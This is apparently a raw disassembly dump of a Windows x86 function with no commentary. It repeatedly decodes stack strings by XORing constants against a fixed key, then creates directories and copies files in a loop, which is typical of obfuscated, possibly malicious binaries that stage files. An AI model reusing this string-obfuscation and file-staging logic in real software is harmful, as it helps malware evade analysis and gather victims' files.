mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x8ec], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x360]
mov dword [ebp - 0x8e8], eax
lea eax, [ebp - 0x360]
mov dword [ebp - 0x8e4], ecx
lea ecx, [ebp - 0x618]
pxor xmm1, xmmword [ebp - 0x8f0]
push eax
movaps xmmword [ebp - 0x360], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x8f
lea ecx, [ebp - 0x618]
push 0
call fcn.004aba80
push eax
call edi
test eax, eax
je 0x46b826
mov dword [ebp - 0x30], 0x74b3ef76
mov dword [ebp - 0x2c], 0x942784d3
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x660], eax
mov dword [ebp - 0x65c], ecx
mov dword [ebp - 0x30], 0x10382727
mov dword [ebp - 0x2c], 0x864a6059
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x658], eax
mov dword [ebp - 0x654], ecx
mov dword [ebp - 0x30], 0x77c78327
mov dword [ebp - 0x2c], 0x962bc161
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x650], eax
mov dword [ebp - 0x64c], ecx
mov dword [ebp - 0x30], 0xb08e29c
mov dword [ebp - 0x2c], 0xd5a69bee
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x648], eax
mov dword [ebp - 0x644], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xfe0], eax
mov dword [ebp - 0xfdc], ecx
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xfd8], eax
mov dword [ebp - 0xfd4], ecx
mov dword [ebp - 0x30], 0x4fbfab07
mov dword [ebp - 0x2c], 0xe577e857
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xfd0], eax
mov dword [ebp - 0xfcc], ecx
mov dword [ebp - 0x30], 0x666987e8
mov dword [ebp - 0x2c], 0xd5a69bee
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
vmovdqu ymm0, ymmword [ebp - 0x660]
mov dword [ebp - 0xfc8], eax
lea eax, [ebp - 0x1a8]
mov dword [ebp - 0xfc4], ecx
mov ecx, eax
vpxor ymm0, ymm0, ymmword [ebp - 0xfe0]
mov byte [ebp - 0x41], 0
vmovdqa ymmword [ebp - 0x660], ymm0
mov dword [ebp - 0x24], eax
vzeroupper
call fcn.00410150
mov byte [ebp - 4], 0x91
lea ecx, [ebp - 0x660]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46ac80
sub ecx, edx
lea eax, [ebp - 0x660]
push ecx
push eax
lea ecx, [ebp - 0x1a8]
call fcn.00410090
mov byte [ebp - 4], 0x92
lea ecx, [ebp - 0x1a8]
call fcn.004aba80
mov ecx, eax
call fcn.0041a220
test al, al
jne 0x46ae4f
mov dword [ebp - 0x30], 0x74b3ef76
mov dword [ebp - 0x2c], 0x942784d3
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x6e0], eax
mov dword [ebp - 0x6dc], ecx
mov dword [ebp - 0x30], 0x10382727
mov dword [ebp - 0x2c], 0x864a6059
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x6d8], eax
mov dword [ebp - 0x6d4], ecx
mov dword [ebp - 0x30], 0x2acbd85b
mov dword [ebp - 0x2c], 0xe5778536
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x6d0], eax
mov dword [ebp - 0x6cc], ecx
mov dword [ebp - 0x30], 0x666987e8
mov dword [ebp - 0x2c], 0xd5a69bee
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x6c8], eax
mov dword [ebp - 0x6c4], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xf80], eax
mov dword [ebp - 0xf7c], ecx
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xf78], eax
mov dword [ebp - 0xf74], ecx
mov dword [ebp - 0x30], 0x4fbfab07
mov dword [ebp - 0x2c], 0xe577e857
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xf70], eax
mov dword [ebp - 0xf6c], ecx
mov dword [ebp - 0x30], 0x666987e8
mov dword [ebp - 0x2c], 0xd5a69bee
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
vmovdqu ymm0, ymmword [ebp - 0x6e0]
mov dword [ebp - 0xf68], eax
lea eax, [ebp - 0x1488]
mov dword [ebp - 0xf64], ecx
mov ecx, eax
vpxor ymm0, ymm0, ymmword [ebp - 0xf80]
vmovdqa ymmword [ebp - 0x6e0], ymm0
mov dword [ebp - 0x24], eax
vzeroupper
call fcn.00410150
mov byte [ebp - 4], 0x94
lea ecx, [ebp - 0x6e0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46adf2
sub ecx, edx
lea eax, [ebp - 0x6e0]
push ecx
push eax
lea ecx, [ebp - 0x1488]
call fcn.00410090
mov byte [ebp - 4], 0x95
lea ecx, [ebp - 0x1a8]
call fcn.0040fe10
lea eax, [ebp - 0x1488]
push eax
lea ecx, [ebp - 0x1a8]
call fcn.0040ffe0
mov byte [ebp - 4], 0x96
lea ecx, [ebp - 0x1488]
call fcn.0040fe10
mov byte [ebp - 4], 0x92
lea eax, [ebp - 0x1488]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x92
lea ecx, [ebp - 0x1a8]
call fcn.004aba80
mov ecx, eax
call fcn.0041a220
test al, al
je 0x46b7f4
sub esp, 0x18
lea eax, [ebp - 0x1a8]
mov ecx, esp
mov dword [ebp - 0x24], esp
push eax
call fcn.004abdc0
mov byte [ebp - 4], 0x99
push 1
mov byte [ebp - 4], 0x92
xor dl, dl
lea ecx, [ebp - 0x82c]
call fcn.00439af0
add esp, 0x1c
mov byte [ebp - 4], 0x9a
mov eax, dword [ebp - 0x82c]
mov ecx, dword [ebp - 0x828]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x4c], ecx
cmp eax, ecx
je 0x46b1f6
mov byte [ebp - 0x58], 0
nop dword [eax]
push eax
lea ecx, [ebp - 0x15c0]
call fcn.004abdc0
mov byte [ebp - 4], 0x9b
lea edx, [ebp - 0x15c0]
push dword [ebp - 0x58]
lea ecx, [ebp - 0x15a8]
call fcn.004b6f70
add esp, 4
mov byte [ebp - 4], 0x9d
lea eax, [ebp - 0x17b8]
push eax
lea ecx, [ebp - 0x15a8]
call fcn.004129f0
mov byte [ebp - 4], 0x9e
lea ecx, [ebp - 0x1590]
push ecx
mov ecx, eax
call fcn.004125e0
mov byte [ebp - 4], 0xa0
lea eax, [ebp - 0x17b8]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0xa2
mov ecx, eax
call fcn.004adf90
mov byte [ebp - 4], 0xa0
lea eax, [ebp - 0x17b8]
mov dword [ebp - 0x5c], eax
mov byte [ebp - 4], 0xa0
mov dword [ebp - 0x30], 0x6a89a646
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x370], eax
mov dword [ebp - 0x36c], ecx
mov dword [ebp - 0x88], 0x76184a46
mov dword [ebp - 0x84], 0xf52f0c30
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x368], eax
mov dword [ebp - 0x364], ecx
mov dword [ebp - 0x78], 0x4efd535
mov dword [ebp - 0x74], 0xe640eba1
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x900], eax
mov dword [ebp - 0x80], 0x76184a46
mov dword [ebp - 0x8fc], ecx
mov dword [ebp - 0x7c], 0xf52f0c30
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x7c]
movaps xmm1, xmmword [ebp - 0x370]
mov dword [ebp - 0x8f8], eax
lea eax, [ebp - 0x370]
mov dword [ebp - 0x8f4], ecx
lea ecx, [ebp - 0x1590]
pxor xmm1, xmmword [ebp - 0x900]
push 0
push eax
movaps xmmword [ebp - 0x370], xmm1
call fcn.004ab870
cmp eax, 0xffffffff
je 0x46b177
mov dword [ebp - 0xa0], 0x4efd569
lea edx, [ebp - 0x618]
mov dword [ebp - 0x9c], 0xe640eba1
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x380], eax
mov dword [ebp - 0x37c], ecx
mov dword [ebp - 0xb8], 0x76184a46
mov dword [ebp - 0xb4], 0xf52f0c30
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xb4]
mov dword [ebp - 0x378], eax
mov dword [ebp - 0x374], ecx
mov dword [ebp - 0xa8], 0x4efd535
mov dword [ebp - 0xa4], 0xe640eba1
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xa4]
mov dword [ebp - 0x910], eax
mov dword [ebp - 0xb0], 0x76184a46
mov dword [ebp - 0x90c], ecx
mov dword [ebp - 0xac], 0xf52f0c30
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xac]
movaps xmm1, xmmword [ebp - 0x380]
mov dword [ebp - 0x908], eax
lea eax, [ebp - 0x380]
mov dword [ebp - 0x904], ecx
lea ecx, [ebp - 0x1860]
pxor xmm1, xmmword [ebp - 0x910]
push eax
movaps xmmword [ebp - 0x380], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0xa6
lea ecx, [ebp - 0x1590]
push ecx
mov ecx, eax
call fcn.004abc20
push eax
lea ecx, [ebp - 0x17a0]
call fcn.0040fca0
mov edi, dword [ebp - 0x54]
lea ecx, [ebp - 0x17a0]
or edi, 0x40
mov dword [ebp - 0x54], edi
call fcn.004aba80
lea ecx, [ebp - 0x15c0]
mov esi, eax
call fcn.004aba80
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and edi, 0xffffffbf
mov esi, eax
mov dword [ebp - 0x54], edi
mov byte [ebp - 4], 0xa7
lea ecx, [ebp - 0x17a0]
call fcn.0040fe10
mov byte [ebp - 4], 0xa5
lea eax, [ebp - 0x17a0]
mov dword [ebp - 0x8c], eax
mov byte [ebp - 4], 0xaa
lea ecx, [ebp - 0x1860]
call fcn.0040fe10
mov byte [ebp - 4], 0xa0
lea eax, [ebp - 0x1860]
mov dword [ebp - 0x94], eax
mov byte [ebp - 4], 0xa0
test esi, esi
je 0x46b177
mov byte [ebp - 0x41], 1
mov byte [ebp - 0x31], 1
mov byte [ebp - 4], 0xad
lea ecx, [ebp - 0x1590]
call fcn.0040fe10
mov byte [ebp - 4], 0x9d
lea eax, [ebp - 0x1590]
mov dword [ebp - 0x90], eax
mov byte [ebp - 4], 0x9b
lea eax, [ebp - 0x15a8]
mov dword [ebp - 0xbc], eax
mov byte [ebp - 4], 0xb1
mov ecx, eax
call fcn.004adf90
mov byte [ebp - 4], 0x9b
lea eax, [ebp - 0x15a8]
mov dword [ebp - 0x50], eax
mov byte [ebp - 4], 0xb4
lea ecx, [ebp - 0x15c0]
call fcn.0040fe10
mov byte [ebp - 4], 0x9a
lea eax, [ebp - 0x15c0]
mov dword [ebp - 0x6c], eax
mov byte [ebp - 4], 0x9a
mov eax, dword [ebp - 0x60]
add eax, 0x18
mov dword [ebp - 0x60], eax
cmp eax, dword [ebp - 0x4c]
jne 0x46aec0
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x30], 0x6a80b669
lea edx, [ebp - 0x1a8]
mov dword [ebp - 0x2c], 0xe62782c7
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x390], eax
mov dword [ebp - 0x38c], ecx
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x388], eax
mov dword [ebp - 0x384], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x920], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x91c], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x390]
mov dword [ebp - 0x918], eax
lea eax, [ebp - 0x390]
mov dword [ebp - 0x914], ecx
lea ecx, [ebp - 0x15d8]
pxor xmm1, xmmword [ebp - 0x920]
push eax
movaps xmmword [ebp - 0x390], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0xb7
lea ecx, [ebp - 0x15d8]
call fcn.004aba80
mov ecx, eax
call fcn.0041a220
test al, al
je 0x46b395
mov dword [ebp - 0x30], 0x6a80b669
lea edx, [ebp - 0x618]
mov dword [ebp - 0x2c], 0xe62782c7
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x3a0], eax
mov dword [ebp - 0x39c], ecx
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x398], eax
mov dword [ebp - 0x394], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x930], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x92c], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x3a0]
mov dword [ebp - 0x928], eax
lea eax, [ebp - 0x3a0]
mov dword [ebp - 0x924], ecx
lea ecx, [ebp - 0x1848]
pxor xmm1, xmmword [ebp - 0x930]
push eax
movaps xmmword [ebp - 0x3a0], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0xb8
mov ecx, eax
push 0
mov dword [ebp - 0x48], 1
call fcn.004aba80
push eax
call edi
mov byte [ebp - 0x42], 1
test eax, eax
jne 0x46b399
mov byte [ebp - 0x42], 0
mov dword [ebp - 4], 0xb7
mov eax, dword [ebp - 0x48]
test al, 1
je 0x46b3cd
and eax, 0xfffffffe
mov dword [ebp - 0x48], eax
mov byte [ebp - 4], 0xb9
lea ecx, [ebp - 0x1848]
call fcn.0040fe10
mov byte [ebp - 4], 0xb7
lea eax, [ebp - 0x1848]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0xb7
cmp byte [ebp - 0x42], 0
je 0x46b4bd
mov dword [ebp - 0x30], 0x6a80b669
lea edx, [ebp - 0x618]
mov dword [ebp - 0x2c], 0xe62782c7
sub esp, 0x18
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x3b0], eax
mov dword [ebp - 0x3ac], ecx
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x3a8], eax
mov dword [ebp - 0x3a4], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x940], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x93c], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x3b0]
mov dword [ebp - 0x938], eax
lea eax, [ebp - 0x3b0]
mov dword [ebp - 0x934], ecx
mov ecx, esp
pxor xmm1, xmmword [ebp - 0x940]
mov dword [ebp - 0x24], esp
push eax
movaps xmmword [ebp - 0x3b0], xmm1
call fcn.004b0150
mov byte [ebp - 4], 0xbc
sub esp, 0x14
lea eax, [ebp - 0x15d8]
mov dword [ebp - 0x5c], esp
mov ecx, esp
push eax
call fcn.004abdc0
mov byte [ebp - 4], 0xbd
mov byte [ebp - 4], 0xb7
xor cl, cl
call fcn.0041f720
add esp, 0x30
test eax, eax
jne 0x46b4bd
mov byte [ebp - 0x41], 1
mov byte [ebp - 0x31], 1
lea ecx, [ebp - 0xec]
call fcn.004676c0
mov byte [ebp - 4], 0xbe
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0xe8]
sub ecx, dword [ebp - 0xec]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x46b7b4
mov dword [ebp - 0x30], 0x5b96b069
lea edx, [ebp - 0x618]
mov dword [ebp - 0x2c], 0x832b84d5
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x3c0], eax
mov dword [ebp - 0x3bc], ecx
mov dword [ebp - 0x30], 0x2363928
mov dword [ebp - 0x2c], 0xf52f7848
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x3b8], eax
mov dword [ebp - 0x3b4], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x950], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x94c], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x3c0]
mov dword [ebp - 0x948], eax
lea eax, [ebp - 0x3c0]
mov dword [ebp - 0x944], ecx
lea ecx, [ebp - 0x1788]
pxor xmm1, xmmword [ebp - 0x950]
push eax
movaps xmmword [ebp - 0x3c0], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0xbf
mov dword [ebp - 0x30], 0x4efb742
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x3cc], ecx
mov dword [ebp - 0x3d0], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x3c4], ecx
mov dword [ebp - 0x3c8], eax
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x960], eax
mov dword [ebp - 0x95c], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x3d0]
mov dword [ebp - 0x954], ecx
lea ecx, [ebp - 0x1788]
mov dword [ebp - 0x958], eax
pxor xmm1, xmmword [ebp - 0x960]
movaps xmmword [ebp - 0x3d0], xmm1
call fcn.004aba80
lea ecx, [ebp - 0x3d0]
push ecx
push eax
call fcn.00524450
add esp, 8
mov dword [ebp - 0x4c], eax
test eax, eax
je 0x46b78c
mov esi, dword [ebp - 0xec]
xor ecx, ecx
mov dword [ebp - 0x60], ecx
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0xe8]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x46b781
xor edi, edi
nop dword [eax]
lea ecx, [esi + edi]
call fcn.004aba80
mov dword [ebp - 0x30], 0xee2a610
mov dword [ebp - 0x2c], 0xe640e1ac
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x3e0], ecx
mov dword [ebp - 0x3dc], edx
mov dword [ebp - 0x88], 0x76184a46
mov dword [ebp - 0x84], 0xf52f0c30
mov ecx, dword [ebp - 0x88]
push eax
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x3d4], eax
mov dword [ebp - 0x3d8], ecx
mov dword [ebp - 0x78], 0x4efd535
mov dword [ebp - 0x74], 0xe640eba1
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x970], eax
mov dword [ebp - 0x80], 0x76184a46
mov dword [ebp - 0x7c], 0xf52f0c30
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x968], eax
lea eax, [ebp - 0x3e0]
mov dword [ebp - 0x96c], ecx
mov ecx, dword [ebp - 0x7c]
movaps xmm1, xmmword [ebp - 0x3e0]
mov dword [ebp - 0x964], ecx
pxor xmm1, xmmword [ebp - 0x970]
push eax
push dword [ebp - 0x4c]
movaps xmmword [ebp - 0x3e0], xmm1
call fcn.00410360
mov ecx, dword [ebp - 0xe8]
lea edi, [edi + 0x18]
mov esi, dword [ebp - 0xec]
mov eax, 0x2aaaaaab
inc dword [ebp - 0x60]
sub ecx, esi
imul ecx
add esp, 0xc
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x60], eax
jb 0x46b690
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push dword [ebp - 0x4c]
call fcn.00527cde
add esp, 4
mov byte [ebp - 0x41], 1
mov byte [ebp - 0x31], 1
mov byte [ebp - 4], 0xc0
lea ecx, [ebp - 0x1788]
call fcn.0040fe10
mov byte [ebp - 4], 0xbe
lea eax, [ebp - 0x1788]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0xbe
mov byte [ebp - 4], 0xb7
lea ecx, [ebp - 0xec]
call fcn.004add00
mov byte [ebp - 4], 0xc3
lea ecx, [ebp - 0x15d8]
call fcn.0040fe10
mov byte [ebp - 4], 0x9a
lea eax, [ebp - 0x15d8]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x92
lea ecx, [ebp - 0x82c]
call fcn.004add00
cmp byte [ebp - 0x41], 0
jne 0x46b806
push 0
mov dl, 1
lea ecx, [ebp - 0x618]
call fcn.0041a270
add esp, 4
mov byte [ebp - 4], 0xc6
lea ecx, [ebp - 0x1a8]
call fcn.0040fe10
mov byte [ebp - 4], 0x8f
lea eax, [ebp - 0x1a8]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x8f
cmp byte [ebp - 0x31], 0
jne 0x46b83e
push 0
mov dl, 1
lea ecx, [ebp - 0x138]
call fcn.0041a270
add esp, 4
mov byte [ebp - 4], 0xc9
lea ecx, [ebp - 0x618]
call fcn.0040fe10
mov byte [ebp - 4], 0x6a
lea eax, [ebp - 0x618]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0xcc
lea ecx, [ebp - 0x1470]
call fcn.0040fe10
mov byte [ebp - 4], 0x5f
lea eax, [ebp - 0x1470]
mov dword [ebp - 0x5c], eax
mov byte [ebp - 4], 0xcf
lea ecx, [ebp - 0x1458]
call fcn.0040fe10
mov byte [ebp - 4], 0x52
lea eax, [ebp - 0x1458]
mov dword [ebp - 0x8c], eax
mov byte [ebp - 4], 0xd2
lea ecx, [ebp - 0x1440]
call fcn.0040fe10
mov byte [ebp - 4], 0x4c
lea eax, [ebp - 0x1440]
mov dword [ebp - 0x94], eax
mov byte [ebp - 4], 0xd5
lea ecx, [ebp - 0x1428]
call fcn.0040fe10
mov byte [ebp - 4], 0x39
lea eax, [ebp - 0x1428]
mov dword [ebp - 0x90], eax
mov byte [ebp - 4], 0xd8
lea ecx, [ebp - 0x85c]
call fcn.0040fe10
mov byte [ebp - 4], 0x29
lea eax, [ebp - 0x85c]
mov dword [ebp - 0xbc], eax
mov byte [ebp - 4], 0xdb
lea ecx, [ebp - 0x13f8]
call fcn.0040fe10
mov byte [ebp - 4], 0x28
lea eax, [ebp - 0x13f8]
mov dword [ebp - 0x50], eax
mov byte [ebp - 4], 0x28
mov dword [ebp - 4], 0xde
lea ecx, [ebp - 0x138]
call fcn.0040fe10
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x138]
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], 0xffffffff
cmp byte [ebp - 0x65], 0
je 0x46e60a
mov dword [ebp - 0x30], 0x778a9869
mov edx, 0x58ab8c
mov dword [ebp - 0x2c], 0x812e8ed2
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x3f0], eax
mov dword [ebp - 0x3ec], ecx
mov dword [ebp - 0x30], 0x766b3823
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x3e8], eax
mov dword [ebp - 0x3e4], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x980], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x97c], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x3f0]
mov dword [ebp - 0x978], eax
lea eax, [ebp - 0x3f0]
mov dword [ebp - 0x974], ecx
lea ecx, [ebp - 0x1c0]
pxor xmm1, xmmword [ebp - 0x980]
push eax
movaps xmmword [ebp - 0x3f0], xmm1
call fcn.004b0150
add esp, 4
mov dword [ebp - 4], 0xe1
lea ecx, [ebp - 0x1c0]
push 0
call fcn.004aba80
push eax
call edi
test eax, eax
je 0x46e5e1
mov dword [ebp - 0x30], 0x7d848669
lea edx, [ebp - 0x1c0]
mov dword [ebp - 0x2c], 0xe6408ed1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x400], eax
mov dword [ebp - 0x3fc], ecx
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x3f8], eax
mov dword [ebp - 0x3f4], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x990], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x98c], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x400]
mov dword [ebp - 0x988], eax
lea eax, [ebp - 0x400]
mov dword [ebp - 0x984], ecx
lea ecx, [ebp - 0x1380]
pxor xmm1, xmmword [ebp - 0x990]
push eax
mov byte [ebp - 0x31], 0
movaps xmmword [ebp - 0x400], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0xe2
lea ecx, [ebp - 0x1380]
push 0
call fcn.004aba80
push eax
call edi
test eax, eax
je 0x46be6e
mov dword [ebp - 0x30], 0x67869869
mov dword [ebp - 0x2c], 0x893384d3
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1180], eax
mov dword [ebp - 0x117c], ecx
mov dword [ebp - 0x30], 0x25443e20
mov dword [ebp - 0x2c], 0x905f755b
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1178], eax
mov dword [ebp - 0x1174], ecx
mov dword [ebp - 0x30], 0x3dd0cd27
mov dword [ebp - 0x2c], 0x9612ac77
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1170], eax
mov dword [ebp - 0x116c], ecx
mov dword [ebp - 0x30], 0x1606f383
mov dword [ebp - 0x2c], 0xb6c9d7b2
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1168], eax
mov dword [ebp - 0x1164], ecx
mov dword [ebp - 0x30], 0xe9460218
mov dword [ebp - 0x2c], 0x83224419
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1160], eax
mov dword [ebp - 0x115c], ecx
mov dword [ebp - 0x30], 0xc81d702d
mov dword [ebp - 0x2c], 0xe38070cc
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1158], eax
mov dword [ebp - 0x1154], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xda0], eax
mov dword [ebp - 0xd9c], ecx
mov dword [ebp - 0x30], 0x76184a46
